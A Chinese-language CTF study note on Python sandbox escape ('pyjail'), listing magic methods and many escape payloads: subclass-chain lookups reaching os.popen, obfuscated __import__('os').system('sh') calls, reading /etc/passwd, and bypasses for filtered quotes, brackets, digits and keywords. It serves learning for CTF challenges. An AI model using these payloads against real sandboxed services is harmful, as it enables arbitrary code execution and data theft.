pyjail(无实战版)


python沙箱逃逸(pyjail)

很多知识和我们的这个ssti的内容还是很像的,这里目前就先做一点简单的笔记
然后多找一些题目来做做看下
主要是结合一个简单课程和学长的文章还有nss上面的题目来解决一下这些问题

Pyjail的实现原理

Python有一些特性,例如:Python的类均继承自object基类,Python的类中有一些静态方法,如bytes.fromhexint.frombytes等,对于这些类的实例可以直接调用这些方法

1
2
b'1'.fromhex('1234') 
# b'\x124'

特例:整数参数不支持这种操作,如1.frombytes(b'\x124')会报错。

Python的类中具有一系列的魔术方法,其机制类似于PHP的魔术方法。例如对象a使用a+b时,其实是尝试调用了a.__add__(b)

1
2
3
4
5
6
7
8
class A:
a = 50
b = 60
c = 70

print(A.__dict__)

# {'__module__': '__main__', 'a': 50, 'b': 60, 'c': 70, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None}

当然,这一段可能受限于我的开发水平,不是看的很懂啊

python特性,魔术方法以及魔术属性

不带有object的继承
带有object的继承

python中的魔术方法

  1. **__init__**:对象初始化方法,在创建对象时调用。通常用来初始化对象的属性。

    1
    2
    3
    class Example:
    def __init__(self, value):
    self.value = value
  2. **__repr__**:返回对象的“官方”字符串表示形式。通常可以通过调用 repr(object) 来查看。

    1
    2
    3
    class Example:
    def __repr__(self):
    return f"Example(value={self.value})"
  3. **__str__**:返回对象的“非正式”或友好字符串表示形式。通常可以通过调用 str(object)print(object) 来查看。

    1
    2
    3
    class Example:
    def __str__(self):
    return f"Example with value {self.value}"
  4. **__len__**:返回对象的长度。常用于实现自定义容器类。

    1
    2
    3
    class Container:
    def __len__(self):
    return len(self.items)
  5. **__getitem__**:获取对象中指定键的值。通常用于实现自定义的索引操作。

    1
    2
    3
    class Container:
    def __getitem__(self, key):
    return self.items[key]
  6. **__setitem__**:设置对象中指定键的值。常用于实现可变容器。

    1
    2
    3
    class Container:
    def __setitem__(self, key, value):
    self.items[key] = value
  7. **__delitem__**:删除对象中指定键的值。

    1
    2
    3
    class Container:
    def __delitem__(self, key):
    del self.items[key]
  8. **__iter__**:返回一个迭代器对象。通常用于实现可迭代对象。

    1
    2
    3
    class Container:
    def __iter__(self):
    return iter(self.items)
  9. **__contains__**:检查对象是否包含指定的元素。通常用于 in 操作符。

    1
    2
    3
    class Container:
    def __contains__(self, item):
    return item in self.items
  10. **__call__**:使实例对象可以像函数一样被调用。

    1
    2
    3
    class Example:
    def __call__(self, value):
    self.value = value
  11. **__base__**:返回当前类的基类。如 SomeClass.__base__ 会返回 <class 'object'>

  12. **__subclasses__()**:查看当前类的子类组成的列表。

    1
    Example.__subclasses__()
  13. **__builtins__**:以一个集合的形式查看其引用。

    1
    2
    import builtins
    dir(builtins)
  14. **__getattr____setattr____delattr__**:处理对象属性的获取、设置和删除。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    class Example:
    def __getattr__(self, name):
    return f"{name} not found"

    def __setattr__(self, name, value):
    self.__dict__[name] = value

    def __delattr__(self, name):
    del self.__dict__[name]
  15. **__enter____exit__**:定义在使用 with 语句时对象的上下文管理行为。

    1
    2
    3
    4
    5
    6
    7
    8
    class Example:
    def __enter__(self):
    # Setup code
    return self

    def __exit__(self, exc_type, exc_val, exc_tb):
    # Teardown code
    pass
  16. **__class__**:指向对象的类。可以用来获取对象的类信息。

    1
    2
    obj = Example()
    print(obj.__class__) # <class '__main__.Example'>
  17. **__delattr__**:当试图删除对象的属性时调用。

    1
    2
    3
    4
    class Example:
    def __delattr__(self, name):
    print(f"Deleting attribute {name}")
    super().__delattr__(name)
  18. **__dict__**:包含对象(但不包括从类继承的属性)的属性字典。

    1
    2
    obj = Example()
    print(obj.__dict__) # {'attribute': value}
  19. **__dir__**:由 dir() 函数调用,用于列出对象的属性和方法。

    1
    2
    3
    class Example:
    def __dir__(self):
    return ['custom_attribute', 'another_attribute']
  20. **__doc__**:类或方法的文档字符串。

    1
    2
    3
    class Example:
    """This is a docstring."""
    print(Example.__doc__) # "This is a docstring."
  21. **__eq__**:实现对象的相等性比较,通常由 == 操作符调用。

    1
    2
    3
    class Example:
    def __eq__(self, other):
    return self.value == other.value
  22. **__format__**:用于实现自定义的字符串格式化。

    1
    2
    3
    class Example:
    def __format__(self, format_spec):
    return f"Formatted value: {self.value:{format_spec}}"
  23. **__ge__**:实现对象的“大于等于”比较,通常由 >= 操作符调用。

    1
    2
    3
    class Example:
    def __ge__(self, other):
    return self.value >= other.value
  24. **__getattribute__**:在访问对象属性时调用,优先于 __getattr__

    1
    2
    3
    4
    class Example:
    def __getattribute__(self, name):
    print(f"Accessing attribute {name}")
    return super().__getattribute__(name)
  25. **__getstate__**:用于对象序列化时返回要保存的状态。

    1
    2
    3
    4
    class Example:
    def __getstate__(self):
    state = self.__dict__.copy()
    return state
  26. **__gt__**:实现对象的“大于”比较,通常由 > 操作符调用。

    1
    2
    3
    class Example:
    def __gt__(self, other):
    return self.value > other.value
  27. **__hash__**:实现对象的哈希值计算,通常由 hash() 函数调用。对象的哈希值应保持不变。

    1
    2
    3
    class Example:
    def __hash__(self):
    return hash(self.value)
  28. **__init_subclass__**:在子类化时调用,可以用来自定义子类的行为。

    1
    2
    3
    4
    class Base:
    def __init_subclass__(cls, **kwargs):
    super().__init_subclass__(**kwargs)
    cls.custom_attribute = True
  29. **__le__**:实现对象的“小于等于”比较,通常由 <= 操作符调用。

    1
    2
    3
    class Example:
    def __le__(self, other):
    return self.value <= other.value
  30. **__lt__**:实现对象的“小于”比较,通常由 < 操作符调用。

    1
    2
    3
    class Example:
    def __lt__(self, other):
    return self.value < other.value
  31. **__module__**:指向定义类的模块名称。

    1
    2
    3
    class Example:
    pass
    print(Example.__module__) # __main__
  32. **__ne__**:实现对象的不等性比较,通常由 != 操作符调用。

    1
    2
    3
    class Example:
    def __ne__(self, other):
    return self.value != other.value
  33. **__new__**:创建并返回一个新对象实例,通常在对象实例化时调用,优先于 __init__

    1
    2
    3
    4
    class Example:
    def __new__(cls, *args, **kwargs):
    instance = super().__new__(cls)
    return instance
  34. **__reduce__**:用于定义对象序列化的行为,返回一个元组来帮助对象序列化。

    1
    2
    3
    class Example:
    def __reduce__(self):
    return (self.__class__, (self.value,))
  35. **__reduce_ex__**:与 __reduce__ 类似,但可以支持更多的协议版本。

    1
    2
    3
    class Example:
    def __reduce_ex__(self, protocol):
    return (self.__class__, (self.value,))
  36. **__repr__**:返回对象的“官方”字符串表示形式。通常可以通过调用 repr(object) 来查看。

    1
    2
    3
    class Example:
    def __repr__(self):
    return f"Example(value={self.value})"
  37. **__setattr__**:当试图设置对象的属性时调用。

    1
    2
    3
    4
    class Example:
    def __setattr__(self, name, value):
    print(f"Setting attribute {name} to {value}")
    super().__setattr__(name, value)
  38. **__sizeof__**:返回对象占用的内存大小,通常由 sys.getsizeof() 调用。

    1
    2
    3
    class Example:
    def __sizeof__(self):
    return object.__sizeof__(self) + sum(sys.getsizeof(v) for v in self.__dict__.values
  39. **__subclasshook__**:自定义类的子类检测逻辑。通常由 issubclass() 调用。

    1
    2
    3
    4
    class Base:
    @classmethod
    def __subclasshook__(cls, subclass):
    return hasattr(subclass, 'custom_method')
  40. **__weakref__**:用于支持弱引用,如果类中没有 __slots__ 属性,则对象的弱引用字典会自动包含此属性。

    1
    2
    3
    4
    5
    6
    7
    8
    import weakref

    class Example:
    pass

    obj = Example()
    r = weakref.ref(obj)
    print(r) # <weakref at 0x...; to 'Example' at 0x...>

Pyjail中常用的魔术方法

  • __class__能返回当前对象所属的类,例如''.__class__会返回它的类<class 'str'>,对于''.__class__(123)就等价于str(123)

  • __base__能返回当前类的基类,例如str.__base__就是<class 'object'>

  • __import__:载入模块的函数。例如import os等价于os = __import__('os')

  • __name__:该变量指示当前运行环境位于哪个模块中。如我们python一般写的if __name__ == '__main__':,就是来判断是否是直接运行该脚本。如果是从另外的地方import的该脚本的话,那__name__就不为__main__,就不会执行之后的代码。

  • __builtins__:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如strchrorddictdir等。在pyjail的沙箱中,往往__builtins__被置为None,因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到__builtins__,再__import__('os').system('sh')进行RCE(远程代码执行Remote Code Execution);

  • __file__:该变量指示当前运行代码所在路径。如open(__file__).read()就是读取当前运行的python文件代码。需要注意的是,该变量仅在运行代码文件时会产生,在运行交互式终端时不会有此变量

  • _:该变量返回上一次运行的python语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量

pyjail基础解法及payload构造

pyjail中常用的函数和模块

import 函数

1
__import__('os').system('dir')

exec & eval 函数

1
2
eval('__import__("os").system("dir")')
exec('__import__("os").system("dir")')

execfile 函数

执行文件,主要用于引入模块来执行命令
python3不存在

1
2
3
>>>execfile('/usr/lib/python2.7/os.py')
>>>system('dir')
>>>getcwd() # 等同于pwd

timeit 函数 from timeit 模块

1
2
import timeit
timeit.timeit('__import__("os").system("dir")',number=1)

timeit 是一个 Python 内置模块,用于计时小段代码的执行时间。它提供了一种简单的方法来测量代码的性能,非常适合用于基准测试(benchmarking)。

1
python -m timeit "x = sum(range(1000))" //这将输出多次执行该代码段的平均时间。
1
2
3
4
5
6
7
8
9
10
11
12
import timeit

# 定义一个函数来计时
def example():
return sum(range(1000)) # tip sum(iterable, start=0)小用法

# 使用 timeit.timeit 计时
execution_time = timeit.timeit("example()", globals=globals(), number=1000)
print(f"Execution time: {execution_time} seconds")


# 在 timeit.timeit() 中传递一段代码字符串时,这段代码默认在一个新的、干净的命名空间中执行。这意味着它无法访问当前脚本中的任何变量、函数或导入的模块。通过指定 globals=globals(),可以让这段代码在当前脚本的全局命名空间中执行,从而访问当前脚本中的变量和函数。

platform 模块

注意这个只在__py2__生效,py3用了subprocess

platform提供了很多方法去获取操作系统的信息,popen函数可以执行任意命令

1
2
import platform 
print platform.popen('dir').read()

commands 模块

这个同样在py2才行

依旧可以用来执行部分指令,貌似不可以拿shell,但其他的很多都可以

1
2
3
import commands
print commands.getoutput("dir")
print commands.getstatusoutput("dir")

subprocess模块

py3集大成之模块

shell=True 命令本身被bash启动,支持shell启动,否则不支持

1
2
3
4
5
6
7
8
9
10
11
import subprocess
subprocess.call(['ls'],shell=True)
subprocess.getstatusoutput("dir")
subprocess.getoutput("dir")
subprocess.check_output(['ls', '/']) # py2
subprocess.run(['ls', '/'], capture_output=True, text=True)
'''
capture_output=True 表示捕获标准输出和标准错误。
text=True 表示将输出作为字符串处理,而不是字节。
check=True 表示如果命令返回非零退出状态,将引发 subprocess.CalledProcessError 异常。
'''
1
2
3
4
5
6
import subprocess  # py3
try:
result = subprocess.run(['ls', '/'], capture_output=True, text=True, check=True)
print("Command output:\n", result.stdout)
except subprocess.CalledProcessError as e:
print("Command failed with error:\n", e.stderr)

compile 函数

compile() 函数将一个字符串编译为字节代码。

1
compile(source, filename, mode[, flags[, dont_inherit]])
  • source – 字符串或者AST(Abstract Syntax Trees)对象(抽象语法树)
  • filename – 代码文件名称,如果不是从文件读取代码则传递一些可辨认的值
  • mode – 指定编译代码的种类。可以指定为 exec ,eval, single
    1. exec:可以包含一系列语句(包括复合语句,如函数定义)。
    2. eval:只能包含单个表达式。
    3. single:可以包含单个语句。
  • flags – 变量作用域,局部命名空间,如果被提供,可以是任何映射对象
  • flags和dont_inherit是用来控制编译源码时的标志
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
>>>str = "for i in range(0,10): print(i)" 
>>> c = compile(str,'','exec') # 编译为字节代码对象
>>> c
<code object <module> at 0x10141e0b0, file "", line 1>
>>> exec(c)
0
1
2
3
4
5
6
7
8
9
>>> str = "3 * 4 + 5"
>>> a = compile(str,'','eval')
>>> eval(a)
17


source_code = """
def greet(name):
return 'Hello, ' + name

print(greet('World'))
"""

code_object = compile(source_code, '<string>', 'exec')
exec(code_object)

生成动态命令:

1
2
3
4
5
6
7
8
9
10
11
import subprocess

# 定义要执行的命令
command = "ls /"

# 使用 compile 编译命令字符串
compiled_command = compile(f"subprocess.getoutput('{command}')", '<string>', 'eval')

# 使用 eval 执行编译后的命令
output = eval(compiled_command)
print(output)

fstring(f修饰符 py>3.6)

1
2
f'{__import__("os").system("ls")}'
F'{__import__("os").system("ls")}'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys

# 打印所有命令行参数
print("All command line arguments:", sys.argv)

# 打印脚本名称
print("Script name:", sys.argv[0])

# 打印传递给脚本的参数
if len(sys.argv) > 1:
print("Arguments passed to the script:", sys.argv[1:])
else:
print("No arguments were passed to the script.")

# (ctf) ➜ python_test python test.py 1 2 3
# All command line arguments: ['test.py', '1', '2', '3']
# Script name: test.py
# Arguments passed to the script: ['1', '2', '3']

-----------------------------------

# 正常退出
sys.exit(0)

# 非正常退出,返回错误码 1
sys.exit(1)

------------------------------------

# 打印模块搜索路径
print("Module search paths:", sys.path)

# Module search paths: ['/home/void2eye/python_test', '/usr/lib/python310.zip', '/usr/lib/python3.10', '/usr/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/dist-packages', '/usr/lib/python3/dist-packages']

-----------------------------------
# sys.stdin, sys.stdout 和 sys.stderr 分别表示标准输入、标准输出和标准错误流。可以重定向这些流。

# 重定向标准输出
sys.stdout = open('output.txt', 'w')
print("This will be written to the file output.txt")

# 恢复标准输出
sys.stdout = sys.__stdout__
print("This will be printed to the console")

-----------------------------------

# 打印 Python 版本信息
print("Python version:", sys.version)

file 函数

1
file('flag').read()

open 函数

1
open('flag').read()

codecs模块

1
2
import codecs
codecs.open('test').read()

Filetype 函数 from types 模块

可以用来读取文件

只能在py2里面用

1
2
import types
print types.FileType("flag").read()

这里还有学长写的一个关于更加深入理解python魔术方法
这里就和前面一样,直接把它文章的内容给复制过来了

更加深入的理解Python魔术方法

我们先看一个报错

image-20241022173651605

在 Python 中,__init__ 方法属于类的实例方法,但它本质上是通过 method-wrapperwrapper_descriptor 实现的特殊方法,而不是常规的函数对象。这就是为什么在访问 __init__ 的时候会看到 method-wrapper,并且无法访问像 __globals__ 这样的属性。

__init__ 是一个特殊方法__init__ 是类的构造函数(初始化方法),它是一个绑定方法,调用时由 Python 自动处理。这种特殊的绑定方法不像普通的函数或方法那样包含 __globals__ 属性,因为它是通过内部机制实现的,而不是像常规函数那样存在于全局命名空间。

**绑定方法和 method-wrapper**: 通过 obj.__init__ 访问 __init__ 实际上返回的是一个绑定到对象的 method-wrapper,它是 Python 的一种优化机制,用于类的魔法方法。method-wrapper 并不暴露 __globals__ 属性,因为它与普通函数不同,不能直接通过 globals() 访问其全局变量。

__globals__ 仅适用于函数对象: 只有普通的函数对象(如通过 def 定义的函数)才会有 __globals__ 属性,表示它们所在的全局命名空间。Python 的内建方法(如 __init__)是用 C 实现的,属于特殊的 method-wrapper,因此不具备 __globals__ 属性。

重点在第三点,能够有globals属性的必须是def定义的函数(lambda也可以

image-20241022174223178

image-20241022174511612

很清晰了,函数能直接访问他所在模块的所有变量和属性,你看test3已经访问到了之前定义的匿名函数。

所以我们的目的一般都是通过访问类或者实例来访问函数的globals属性

image-20241022174549243

  • 注意跳板为实例的时候,必须得访问__class__来访问到他的类。

总结

Python 的内置魔法方法(如 __init__)是特殊的绑定方法(method-wrapper),不具备 __globals__ 属性。

只有通过 def 定义的普通函数和方法才具有 __globals__ 属性,表示它们的全局命名空间。

要访问 __globals__,请确保操作的对象是常规的函数或方法对象,而不是内建的魔法方法。

Pyjail绕过方法

内联函数decode

因为import函数本身是用来动态的导入模块,比如:import(module) 或者 import module

1
2
3
a = __import__("bf".decode('rot_13'))       #import os
# 注意只有py2才能这么写,py3里的str类是没有decode的方法的,且py3的decode改为从字节数据到字符串的转换
a.system('sh')

所以py3要么自己写解码脚本,要么用codecs库,其提供了一种编码和解码数据流的接口

1
a = __import__(codecs.decode('bf', 'rot_13'))

builtins函数

该函数模块中的函数都被自动引入,不需要再单独引入) , dir(__builtins__) 查看剩余可用内置函数

一个模块对象有一个由字典对象实现的命名空间,属性引用被转换为这个字典中的查找,例如,m.x等同于m.__dict__[“x”],我们就可以用一些编码来绕过字符明文检测。

所以可以有

注意,py3中的base64 编码和解码需要处理的是 bytes 对象,而不是 str 对象

1
2
3
4
5
6
7
8
9
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('sh')    # py2


__builtins__.__dict__[codecs.decode(b'X19pbXBvcnRfXw==', 'base64').decode('utf-8')](codecs.decode(b'b3M=', 'base64').decode('utf-8')).system('sh') # py3



等同于
__builtins__.__dict__[_import__]('os').system('sh')

路径引入os等模块

因为一般都是禁止引入敏感包,当禁用os时,实际上就是 sys.modules[‘os’]=None

而因为一般的类Linux系统的python os路径都是/usr/lib/python2.7/os.py ,所以可以通过路径引入

1
2
import sys
sys.modules['os']='/usr/lib/pythonx.xx/os.py'

reload模块

禁止引用某些函数时,可能会删除掉一些函数的引用,比如:

1
del __builtins__.__dict__['__import__']

这样就无法再引入,但是我们可以用 reload(__builtins__) 重载builtins模块恢复内置函数

但是reload本身也是builtins模块的函数,其本身也可能会被禁掉

在可以引用包的情况下,我们还可以使用imp模块

1
2
3
import __builtins__
import imp
imp.reload(__builtins__)

这样就可以得到完整的builtins模块了,需要注意的是需要先import __builtins__ ,如果不写的话,虽然builtins模块已经被引入,但是它实际上是不可见的,即它仍然无法被找到,这里是这么说的:

引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import builtins,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

再如果imp的reload被禁用掉呢?同时禁用掉路径引入需要的sys模块呢?
可以尝试上面的execfile()函数,或者open函数打开文件,exec执行代码

1
2
execfile('/usr/lib/python2.7/os.py')
# py2
1
2
3
4
5
6
7
8
9
10
11
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>

函数名字符串扫描过滤的绕过(通过getattr()来字符串操作)

假如沙箱本身不是通过对包的限制,而是扫描函数字符串,关键码等等来过滤的;而关键字和函数没有办法直接用字符串相关的编码或解密操作

这里就可以使用: getattr__getattribute__

  • 用法
    • getattr 是一个函数,用于获取属性,通常用于动态属性访问,提供了更高层次的抽象和便利。
    • __getattribute__ 是对象的内置方法,它用于在访问对象任何属性时自动调用。这是一个低级别的钩子,用于拦截属性访问,可以对其进行重载自定义属性访问行为
1
2
3
4
5
6
7
8
9
getattr(__import__("os"),"flfgrz".encode("rot13"))('ls') # py2 的decode不用我多说

getattr(__import__("os"),"metsys"[::-1])('ls')

__import__("os").__getattribute__("metsys"[::-1])('ls')
# 注意,在使用文件路径import os后:execfile('/usr/lib/python2.7/os.py'),这个方法会报错,改成
# 直接用os.__getattribute__("metsys"[::-1])('ls')

__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')

如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
如果某个类定义了 getattribute 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)

runoob :http://www.runoob.com/python/python-func-getattr.html

恢复 sys.modules

一些过滤中可能将 sys.modules['os'] 进行修改,这个时候即使将 os 模块导入进来,也是无法使用的.

由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可。

或者说,我们这一步:del sys.modules['os']已经把os设置成一个字符串了,看报错就知道

1
2
3
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'

os已经变成一个字符串类了,所以删了重导就行了

基于继承链获取(object类)

在清空了 __builtins__的情况下,我们也可以通过索引 subclasses 来找到这些内建函数。

py2跟py3不一样

py2里面file

py3里面可以用os._wrap_close

通过mro方法获取继承关系

payload:(py2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
().__class__.__bases__[0].__subclasses__()[40]("flag").read()
"".__class__.__mro__[2].__subclasses__()[40]("flag").read()
().__class__.__bases__[0].__subclasses__()[40]("flag","w").write("1111")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("flag").read()' )
'''
>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
注意,py2里面的func_globals在py3重写成__globals__了
'''
# 可以执行命令寻找subclasses下引入过os模块的模块
>>> [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> "".__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>

payload(py3)

1
2
3
4
5
6
7
().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls /').read()

>>> ().__class__.__bases__[0].__subclasses__()[133]
<class 'os._wrap_close'>

# warnings.catch_warnings也可以用,不过要重找
().__class__.__bases__[0].__subclasses__()[144].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')

不能直接在模块的 __globals__ 字典中,而是在 __builtins__ 字典中找。

字符串拼接

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()

当然,如果过滤的是 __class__ 或者 __mro__ 这样的属性名,就无法采用变形来绕过了。

base64 变形

1
2
3
4
5
6
7
8
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')] ('b3M='.decode('base64')).system('ls')
# py2

逆序

1
2
3
4
5
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
root
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
root

注意 exec 与 eval 在执行上有所差异。

进制转换

八进制:

1
2
3
4
5
6
7
8
9
10
11
exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

# subprocess
s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"
octal_string = "".join([f"\\{oct(ord(c))[2:]}" for c in s])
print(octal_string)

# 16进制
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

其他编码

hex、rot13、base32 等。

过滤了属性名或者函数名:

在 payload 的构造中,我们大量的使用了各种类中的属性,例如 class__、__import 等。

getattr 函数

getattr 是 Python 的内置函数,用于获取一个对象的属性或者方法。其语法如下:

1
getattr(object, name[, default]) 

这里,object 是对象,name 是字符串,代表要获取的属性的名称。如果提供了 default 参数,当属性不存在时会返回这个值,否则会抛出 AttributeError。

1
2
3
4
5
6
7
8
getattr({},'__class__')
<class 'dict'>
getattr(os,'system')
<built-in function system>
getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

这样一来,就可以将 payload 中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。

__getattribute__ 函数

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__ 方法。

1
2
3
4
5
os.\__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
os.__getattribute__('system')
<built-in function system>
__getattr__ 函数

getattr 是 Python 的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError 异常。

如下是 getattr 方法的基本形式:

1
2
3
class MyClass:
def __getattr__(self, name):
return 'You tried to get ' + name

在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如 “You tried to get X”,其中 X 是你尝试访问的属性名。

与 _getattribute_ 不同,getattr 只有在属性查找失败时才会被调用,这使得 getattribute 可以用来更为全面地控制属性访问。

如果在一个类中同时定义了 getattrgetattribute__,那么无论属性是否存在,__getattribute 都会被首先调用。只有当 getattribute 抛出 AttributeError 异常时,getattr 才会被调用。

另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性。

_globals_ 替换

globals 可以用 func_globals 直接替换;

1
2
3
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")

__mro__、__bases__、__base__互换

三者之间可以相互替换

1
2
3
4
5
6
7
8
9
10
11
12
13
''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

过滤 import

python 中除了可以使用 import 来导入,还可以使用 _import_ 和 importlib.import_module 来导入模块

_import_

_import_(‘os’)
importlib.import_module

注意:importlib 需要进行导入之后才能够使用,所以有些鸡肋。。。

1
2
import importlib
importlib.import_module('os').system('ls')

__loader__.load_module

如果使用 audithook 的方式进行过滤,上面的两种方法就无法使用了,但是 loader.load_module 底层实现与 import 不同, 因此某些情况下可以绕过.

loader.load_module(‘os’)
<module ‘os’ (built-in)>

[]绕过

如果中括号被过滤了,则可以使用如下的两种方式来绕过:

调用__getitem__()函数直接替换;

调用 pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;

1
''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls') #py2
getitem()替换中括号[]
1
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')
pop()替换中括号[],结合__getitem__()利用
1
2
3
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')

getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')

''绕过

str 函数

如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。

1
2
3
4
5
6
7
8
9
().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
str(().__class__.__new__)[21]
'w'
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'
1
chr 函数

也可以使用 chr 加数字来构造字符串

1
2
3
4
5
6
chr(56)
'8'
chr(100)
'd'
chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'
list + dict

使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。

1
list(dict(whoami=1))[0] 
_doc_

_doc_ 变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:

1
2
().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]
bytes 函数

bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串**(python2)**

1
bytes([115, 121, 115, 116, 101, 109]).decode() 

+绕过

过滤了 + 号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 _doc_ 中取,

1
str().join(().__doc__[19],().__doc__[23]) 

数字绕过

如果过滤了数字的话,可以使用一些函数的返回值获取。

例如:

1
2
3
0int(bool([]))、Flase、len([])、any(())

1int(bool([""]))、Trueall(())、int(list(list(dict(a၁=())).pop()).pop())

有了 0 之后,其他的数字可以通过运算进行获取:

1
2
3
4
0 ** 0 == 1 
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4

当然,也可以直接通过 repr 获取一些比较长字符串,然后使用 len 获取大整数。

1
2
3
4
len(repr(True))
4
len(repr(bytearray))
19

第三种方法,可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现

1
2
3
0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

第四种方法: unicode 会在后续的 unicode 绕过中介绍

空格绕过

通过 ()、[] 替换

运算符绕过

== 可以用 in 来替换

